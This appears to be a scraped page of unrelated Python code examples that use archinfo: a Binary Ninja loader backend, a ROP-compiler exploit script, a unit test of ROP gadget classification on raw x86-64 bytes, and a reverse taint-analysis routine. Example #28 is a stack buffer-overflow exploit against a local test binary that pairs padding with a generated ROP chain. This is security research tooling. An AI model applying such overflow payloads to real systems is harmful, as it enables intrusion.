        self.raw_imports = {
            i.name: i.address
            for i in self.bv.get_symbols_of_type(
                bn.SymbolType.ImportedFunctionSymbol)
        }
        self._process_imports()
        self.exports = {}
        self.linking = "static" if len(self.raw_imports) == 0 else "dynamic"
        # We'll look for this attribute to see if we need to do SimProcedures for any imports in this binary
        # This is an ugly hack, but will have to use this for now until Binary Ninja exposes dependencies
        self.guess_simprocs = True
        self.guess_simprocs_hint = "nix" if self.bv.get_section_by_name(
            ".plt") else "win"
        l.warning("This backend is based on idabin.py.\n\
                   You may encounter unexpected behavior if:\n\
                   \tyour target depends on library data symbol imports, or\n\
                   \tlibrary imports that don't have a guess-able SimProcedure\n\
                   Good luck!")

    def _process_imports(self):
        ''' Process self.raw_imports into list of Relocation objects '''
        if not self.raw_imports:
            l.warning(
                "No imports found - if this is a dynamically-linked binary, something probably went wrong."
            )

        for name, addr in self.raw_imports.items():
            BinjaReloc(self, self._symbol_cache[name], addr)

    def _init_symbol_cache(self):
        # Note that we could also access name, short_name, or full_name attributes
        for sym in self.bv.get_symbols():
            cle_sym = BinjaSymbol(self, sym)
            self._symbol_cache[sym.raw_name] = cle_sym
            self.symbols.add(cle_sym)

    def _find_got(self):
        """
        Locate the section (e.g. .got) that should be updated when relocating functions (that's where we want to
        write absolute addresses).
        """
        sec_name = self.arch.got_section_name
        self.got_begin = None
        self.got_end = None

        try:
            got_sec = self.bv.sections[self.arch.got_section_name]
            self.got_begin = got_sec.start
            self.got_end = got_sec.end
        except KeyError:
            l.warning("No got section mapping found!")

        # If we reach this point, we should have the addresses
        if self.got_begin is None or self.got_end is None:
            l.warning("No section %s, is this a static binary ? (or stripped)",
                      sec_name)
            return False
        return True

    @staticmethod
    def is_compatible(stream):
        if not bn:
            return False
        magic = stream.read(100)
        stream.seek(0)
        # bndb files are SQlite 3
        if magic.startswith(b"SQLite format 3") and stream.name.endswith(
                "bndb"):
            return True

        return False

    def in_which_segment(self, addr):
        """
        Return the segment name at address `addr`.
        """
        # WARNING: if there are overlapping sections, we choose the first name.
        # The only scenario I've seen here is a NOBITS section that "overlaps" with another one, but
        # I'm not sure if that's a heurstic that should be applied here.
        # https://stackoverflow.com/questions/25501044/gcc-ld-overlapping-sections-tbss-init-array-in-statically-linked-elf-bin#25771838
        seg = self.bv.get_sections_at(addr)[0].name
        return "unknown" if len(seg) == 0 else seg

    def get_symbol_addr(self, sym):
        """
        Get the address of the symbol `sym` from IDA.

        :returns: An address.
        """
        # sym is assumed to be the raw_name of the symbol
        return self.bv.get_symbol_by_raw_name(sym)

    def function_name(self, addr):
        """
        Return the function name at address `addr`.
        """
        func = self.bv.get_function_at(addr)
        if not func:
            return "UNKNOWN"
        return func.name

    @property
    def min_addr(self):
        """
        Get the min address of the binary. (note: this is probably not "right")
        """
        return self.bv.start

    @property
    def max_addr(self):
        """
        Get the max address of the binary.
        """
        return self.bv.end

    @property
    def entry(self):
        if self._custom_entry_point is not None:
            return self._custom_entry_point + self.mapped_base
        return self.bv.entry_point + self.mapped_base

    def get_strings(self):
        """
        Extract strings from binary (Binary Ninja).

        :returns:   An array of strings.
        """
        return self.bv.get_strings()

    def set_got_entry(self, name, newaddr):
        """
        Resolve import `name` with address `newaddr`. That is, update the GOT entry for `name` with `newaddr`.
        """
        if name not in self.imports:
            l.warning("%s not in imports", name)
            return

        addr = self.imports[name]
        self.memory.pack_word(addr, newaddr)

    def close(self):
        """
        Release the BinaryView we created in __init__
        :return: None
        """
        self.bv.file.close()
Пример #28
0
import sys, logging
from pwn import *
import archinfo
from rop_compiler import ropme, goal

is_64bit = not (len(sys.argv) > 1 and sys.argv[1].lower() == "x86")

if is_64bit:
  filename, arch = './bof_many_args', archinfo.ArchAMD64()
else:
  filename, arch = './bof_many_args_x86', archinfo.ArchX86()

files = [(filename, None, 0)]
rop = ropme.rop(files, [], [["function", "callme", 11,12,13,14,15,16,17,18]], arch = arch, log_level = logging.DEBUG)

if is_64bit:
  payload = 'A'*512 + 'B'*8 + rop
else:
  payload = 'A'*524 + 'B'*4 + rop

with open("/tmp/rop", "w") as f: f.write(rop)
with open("/tmp/payload", "w") as f: f.write(payload)

p = process([filename,'3000'])

if "debug" in sys.argv:
  if is_64bit:
    gdb.attach(p, "set disassembly-flavor intel\nbreak *0x400731\nbreak callme\n") # 64-bit
  else:
    gdb.attach(p, "set disassembly-flavor intel\nbreak *0x080485ec\nbreak callme\n") # 32-bit
Пример #29
0
 def test_amd64(self):
     tests = [
         ({
             RegJumpNormal: 1
         }, '\xff\xe0'),  # jmp rax
         ({
             MoveReg: 2
         }, '\x48\x93\xc3'),  # xchg rbx, rax; ret
         ({
             MoveReg: 1
         }, '\x48\x89\xcb\xc3'),  # mov rbx,rcx; ret
         ({
             LoadConst: 1
         }, '\x48\xc7\xc3\x00\x01\x00\x00\xc3'
          ),  # mov rbx,0x100; ret. We prefer small constant
         ({}, '\x48\xbb\xff\xee\xdd\xcc\xbb\xaa\x99\x88\xc3'
          ),  # movabs rbx,0x8899aabbccddeeff; ret.
         ({
             AddGadget: 1
         }, '\x48\x01\xc3\xc3'),  # add rbx, rax; ret
         ({
             LoadMem: 1
         }, '\x5f\xc3'),  # pop rdi; ret
         ({
             LoadMem: 1
         }, '\x48\x8b\x43\x08\xc3'),  # mov rax,QWORD PTR [rbx+0x8]; ret
         ({
             LoadMem: 1
         }, '\x48\x8b\x07\xc3'),  # mov rax,QWORD PTR [rdi]; ret
         ({
             StoreMem: 1
         }, '\x48\x89\x03\xc3'),  # mov QWORD PTR [rbx],rax; ret
         ({
             StoreMem: 1
         }, '\x48\x89\x43\x08\xc3'),  # mov QWORD PTR [rbx+0x8],rax; ret
         ({
             StoreMem: 1
         }, '\x48\x89\x44\x24\x08\xc3'),  # mov QWORD PTR [rsp+0x8],rax; ret
         ({
             LoadAddGadget: 1
         }, '\x48\x03\x03\xc3'),  # add rax,QWORD PTR [rbx]; ret
         ({
             StoreAddGadget: 1
         }, '\x48\x01\x43\xf8\xc3'),  # add QWORD PTR [rbx-0x8],rax; ret
         ({}, '\x48\x39\xeb\xc3'),  # cmp rbx, rbp; ret
         ({}, '\x5e'),  # pop rsi
         ({}, '\x8b\x04\xc5\xc0\x32\x45\x00\xc3'
          ),  # mov rax,QWORD PTR [rax*8+0x4532c0]
         ({
             LoadMem: 1,
             LoadConst: 1
         }, '\x59\x48\x89\xcb\x48\xc7\xc1\x05\x00\x00\x00\xc3'
          ),  # pop rcx; mov rbx,rcx; mov rcx,0x5; ret
         ({}, '\x48\x8b\x85\xf0\xfd\xff\xff\x48\x83\xc0'),
         ({
             RegJumpNormal: 1,
         }, '\x5a\xfc\xff\xd0'),  # pop rdx, cld, call rax
         ({
             LoadMem: 3,
             LoadMultiple: 1
         }, '\x5f\x5e\x5a\xc3'),  # pop rdi; pop rsi; pop rdx; ret
         ({
             AddConstGadget: 1
         }, '\x48\x05\x44\x33\x22\x11\xc3'),  # add rax, 0x11223344; ret
         (
             {
                 AddConstGadget: 1
             },  # movabs rbx,0x1122334455667788; ret
             '\x48\xbb\x88\x77\x66\x55\x44\x33\x22\x11\x48\x01\xd8\xc3'
         ),  # add rax,rbx; ret
         ({
             AddConstGadget: 1
         }, '\x48\xff\xc0\xc3'),  # inc rax; ret
         ({
             LoadMemJump: 1,
             RegJumpNormal: 1
         }, '\x5d\xff\xe0'),  #pop %rbp; jmpq *%rax;
         ({
             LoadMem: 2
         }, '\x58\x48\x89\xc3\xc3'),  # pop rax; mov rbx, rax; ret
         ({
             LoadMem: 3,
             LoadMultiple: 2
         }, '\x59\x58\x48\x89\xc3\xc3'
          ),  # pop rcx; pop rax; mov rbx, rax; ret
         # Don't allow more than one read from any register but the stack
         ({}, '\x48\x8b\x19\x48\x8b\x41\x08\xc3'
          ),  # mov rbx,QWORD PTR [rcx]; mov rax,QWORD PTR [rcx+0x8]; ret
     ]
     self.run_test(archinfo.ArchAMD64(), tests)
Пример #30
0
def revtainttrace(ctx,
                  trace,
                  intaintedaddrs,
                  intaintedregs,
                  outputtrace=None,
                  printinfo=False):
    # tainted addrs is a set of addresses, for each byte tainted
    # tainted regs is a set of register, currently string names
    # convert registers to offsets in pyvex arch style
    taintedregs = set()
    taintedaddrs = set()

    arch = archinfo.ArchAMD64()
    for r in intaintedregs:
        rname = r
        if not isinstance(r, str):
            rname = r.getName()
        roff, rsz = arch.registers[rname]
        for i in range(rsz):
            taintedregs.add(roff + i)

    for addr, sz in intaintedaddrs:
        for i in range(sz):
            taintedaddrs.append(addr + i)

    #DEBUG
    ignorereg = []
    for r in arch.registers:
        # cc is too broad of a register, taints too much
        # sp is also misused by VEX in some of the instructions?
        # so this isn't 100% accurate, but still gives me some good answers
        if r.startswith("cc_") or r.endswith("sp"):
            roff, rsz = arch.registers[r]
            for i in range(rsz):
                ignorereg.append(roff + i)

    taintedins = 1

    for i in range(len(trace) - 1, -1, -1):
        if not printinfo and (i & 0xfff == 0):
            print(
                f"{i:x}\t{taintedins/len(trace):.2%} tainted\tTaintedRegs: {strVexRegSet(arch, taintedregs)}, num adders = {len(taintedaddrs)}"
            )
        te = trace[i]
        if te[0] == -1:
            # Got an api area!
            # if rax is tainted, we issue a stop here
            # if any volatile register is tainted, issue a stop here
            #TODO
            continue
        if len(te) < 3:
            raise ValueError("Need drefs in trace for reverse taint analysis")
        l = 15 if len(te) < 4 else te[3]
        regs = getRegInOut(ctx, te[0], l, arch, True, ignorereg)
        # if one of the output registers or addresses was in our tainted list:
        # remove registers output this last instruction
        # add registers input
        # remove memory written
        # add memory read
        spreads = False
        for r in regs[1]:
            if r in taintedregs:
                spreads = True
                break
        # check written addresses
        for addr, sz in te[2][1]:
            for i in range(sz):
                if addr + i in taintedaddrs:
                    spreads = True

        if printinfo:
            print(
                f"@{te[0]:x} : {te[1]} : {strVexRegSet(arch, regs[0])} : {strVexRegSet(arch, regs[1])}"
            )

        if spreads:
            taintedins += 1
            # remove outputs we were tracking that got written out
            for r in regs[1]:
                if r in taintedregs:
                    taintedregs.remove(r)
            for addr, sz in te[2][1]:
                for i in range(sz):
                    if addr + i in taintedaddrs:
                        taintedaddrs.remove(addr + i)
            # add inputs
            for r in regs[0]:
                taintedregs.add(r)
            for addr, sz in te[2][0]:
                for i in range(sz):
                    taintedaddrs.add(addr + i)
            if printinfo:
                print(
                    f"\tTaintedRegs: {strVexRegSet(arch, taintedregs)}, num adders = {len(taintedaddrs)}"
                )

            if outputtrace is not None:
                # will be in reverse order
                outputtrace.append(trace[i])

    print(f"{taintedins}/{len(trace)} = {taintedins/len(trace):.2%} tainted")

    #change vex offsets back to real registers
    return (taintedaddrs, strVexRegSet(arch, taintedregs))